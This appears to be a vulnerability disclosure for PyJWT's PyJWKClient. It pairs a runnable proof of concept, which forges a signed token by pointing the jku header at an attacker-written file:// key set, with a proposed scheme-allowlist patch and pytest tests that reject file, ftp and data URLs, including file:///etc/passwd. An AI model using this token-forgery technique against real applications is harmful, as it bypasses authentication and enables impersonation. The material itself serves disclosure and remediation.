import jwt as pyjwt
from jwt import PyJWKClient
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives import serialization
import json, base64, time

# Attacker generates keypair (no relation to real IdP)
key = rsa.generate_private_key(public_exponent=65537, key_size=2048)
pub_n = key.public_key().public_numbers().n

def b64u(n):
    bl = (n.bit_length() + 7) // 8
    return base64.urlsafe_b64encode(n.to_bytes(bl, 'big')).rstrip(b'=').decode()

# Attacker writes JWK Set containing their public key to /tmp
jwks = {"keys":[{"kty":"RSA","kid":"attacker","use":"sig","alg":"RS256",
                  "n":b64u(pub_n),"e":"AQAB"}]}
with open("/tmp/attacker.json","w") as f:
    json.dump(jwks, f)

# Attacker mints token signed with their private key, jku=file://
priv_pem = key.private_bytes(serialization.Encoding.PEM,
    serialization.PrivateFormat.PKCS8, serialization.NoEncryption())
now = int(time.time())
token = pyjwt.encode(
    {"sub":"attacker","aud":"target-app","iat":now,"exp":now+3600},
    priv_pem, algorithm="RS256",
    headers={"kid":"attacker","jku":"file:///tmp/attacker.json","typ":"JWT"})

# Vulnerable application pattern: caller derives jku from token header
# and passes to PyJWKClient without scheme validation
header = pyjwt.get_unverified_header(token)
client = PyJWKClient(header["jku"])      # <-- accepts file:// silently
key_obj = client.get_signing_key_from_jwt(token)
decoded = pyjwt.decode(token, key_obj.key, algorithms=["RS256"],
                       audience="target-app")
print("Token verified:", decoded)
# Output: Token verified: {'sub': 'attacker', 'aud': 'target-app', ...}

def __init__(
    self, uri: str,
    cache_keys: bool = False, max_cached_keys: int = 16,
    cache_jwk_set: bool = True, lifespan: float = 300,
    headers: dict[str, Any] | None = None, timeout: float = 30,
    ssl_context: SSLContext | None = None,
    allowed_schemes: tuple[str, ...] = ("https", "http"),  # NEW
):
    """...
    :param allowed_schemes: URL schemes the JWKS endpoint is permitted
        to use. Default ``("https", "http")``. Pass ``("https",)`` for
        HTTPS-only operation. URLs with disallowed schemes raise
        ``PyJWKClientError`` before any fetch is attempted.
    """
    # ... existing init code ...
    self.allowed_schemes = allowed_schemes
    self._validate_uri_scheme()


def _validate_uri_scheme(self) -> None:
    """Reject the configured URI early if its scheme isn't allowed."""
    from urllib.parse import urlparse
    parsed = urlparse(self.uri)
    scheme = parsed.scheme.lower()
    if not scheme:
        raise PyJWKClientError(
            f"PyJWKClient URI '{self.uri}' has no scheme; expected one of "
            f"{self.allowed_schemes!r}")
    if scheme not in self.allowed_schemes:
        raise PyJWKClientError(
            f"PyJWKClient URI scheme '{scheme}' is not in allowed_schemes "
            f"{self.allowed_schemes!r}; refusing to fetch from this URL")

def test_pyjwkclient_rejects_file_scheme():
    with pytest.raises(PyJWKClientError, match="not in allowed_schemes"):
        PyJWKClient("file:///etc/passwd")

def test_pyjwkclient_rejects_ftp_scheme():
    with pytest.raises(PyJWKClientError):
        PyJWKClient("ftp://example.org/keys.json")

def test_pyjwkclient_rejects_data_scheme():
    with pytest.raises(PyJWKClientError):
        PyJWKClient('data:application/json,{"keys":[]}')

def test_pyjwkclient_caller_can_lock_to_https_only():
    with pytest.raises(PyJWKClientError):
        PyJWKClient("http://internal.test/jwks.json", allowed_schemes=("https",))